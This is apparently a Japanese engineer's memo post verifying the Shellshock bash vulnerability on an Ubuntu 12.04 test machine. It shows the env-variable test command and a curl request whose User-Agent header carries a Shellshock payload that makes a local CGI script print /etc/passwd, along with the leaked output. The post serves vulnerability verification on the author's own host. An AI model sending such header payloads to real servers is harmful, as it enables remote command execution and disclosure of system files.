とあるエンジニアの備忘録

SE・コンサルタントの備忘録

shell shock 検証1

検証環境

OS:ubuntu 12.04

事前準備

手順

1.脆弱性検証コマンド

env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

2.結果

vulnerable
this is a test

参考:
第4回 わずか1週間程度でBashが大幅な進化を遂げた ~Shellshock大暴れ~:インフラセキュリティの処方箋|gihyo.jp … 技術評論社

HTTP経由での実行

1. cgi作成

#!/bin/bash

echo 'Content-Type:text/html
<html>
<head>
<title>Hello World!</title>
</head>
<body>Hello World!!!</body>
</html>

2.検証コマンド

curl -A "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd" http://localhost/cgi-bin/test.cgi

3.結果確認

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
                ・
                ・

参考:Vagrantですぐに体験するbashのShellShock脆弱性の恐さ - Qiita